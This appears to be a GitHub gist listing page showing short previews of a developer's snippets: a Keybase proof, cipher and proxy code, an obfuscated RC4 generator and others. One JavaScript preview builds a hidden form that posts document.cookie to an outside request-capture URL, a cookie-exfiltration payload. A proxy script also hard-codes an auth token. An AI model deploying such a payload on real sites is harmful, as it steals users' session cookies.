I hereby claim:
- I am zhuzhuor on github.
- I am zhuzhuor (https://keybase.io/zhuzhuor) on keybase.
- I have a public key whose fingerprint is AD2C BB7B 6DE1 20B2 3CD3 0D05 8A26 7105 FF1F 6D51
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
#include <stdio.h> | |
typedef unsigned long long u64; | |
#define R(x,y,k)x=x>>8|x<<56,x+=y,x^=k,y=y<<3|y>>61,y^=x | |
void SPECK(u64 *T,u64 *K){ | |
for(int i=0;i<32;){ | |
R(T[1],*T,*K); | |
R(K[1],*K,i++); | |
}} |
#!/usr/bin/env python | |
chars = 'defillmorsty' | |
w_len = 7 | |
assert len(chars) == 12 | |
import enchant | |
d = enchant.Dict('en_US') | |
from itertools import permutations |
# modified based on https://gist.github.com/2770237 | |
from struct import unpack | |
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer | |
from httplib import HTTPResponse | |
from SocketServer import ThreadingMixIn | |
import socket | |
import time | |
x_sogou_auth = "9CD285F1E7ADB0BD403C22AD1D545F40/30/853edc6d49ba4e27" |
['h0.cmc.bj.ie.sogou.com', | |
'h0.cnc.bj.ie.sogou.com', | |
'h0.crc.bj.ie.sogou.com', | |
'h0.ctc.bj.ie.sogou.com', | |
'h0.dxt.bj.ie.sogou.com', | |
'h0.edu.bj.ie.sogou.com'] |
#!/usr/bin/env python | |
''' | |
A blocking HTTP proxy based on non-blocking Tornado... | |
-- for the sake of WSGI compatibility -- | |
also without HTTPS support... | |
''' | |
from tornado import web, wsgi, httpclient, escape |
#!/usr/bin/env python | |
__copyright__ = "Copyright (C) 2012 Bo Zhu http://zhuzhu.org" | |
def ARC4(OOO4): | |
"""A fully functional RC4 keystream generator""" | |
O400,O4O0,O40O,O4OO=range(0400),0000,0000,0000 | |
for OO04 in range(0400):O4O0=(O4O0+O400[OO04]+OOO4[OO04%len(OOO4)])%0400;O400[O4O0],O400[OO04]=O400[OO04],O400[O4O0] | |
while-1:O40O=(O40O+0001)%0400;O4OO=(O4OO+O400[O40O])%0400;O400[O40O],O400[O4OO]=O400[O4OO],O400[O40O];yield O400[(O400[O40O]+O400[O4OO])%0400] |
var ifr = document.createElement('iframe'); | |
var frm = document.createElement('form'); | |
frm.setAttribute("action", "http://requestb.in/xxx"); | |
frm.setAttribute("method", "post"); | |
var inp = document.createElement('input'); | |
inp.type = 'hidden'; | |
inp.name = 'cookies'; | |
inp.value = document.cookie; |
#!/usr/bin/env python | |
# this script doesn't work anymore due to changes/upgrades of the exam booking website | |
# driver license number | |
DLNumberA = "S1111" | |
DLNumberB = "22222" | |
DLNumberC = "33333" | |
# post code |
// a reminder for myself | |
var key = 'aaa'; | |
var val = 'bbb'; | |
var obj = {key: val}; | |
console.log(obj); | |
// you will get {'key': 'bbb'} |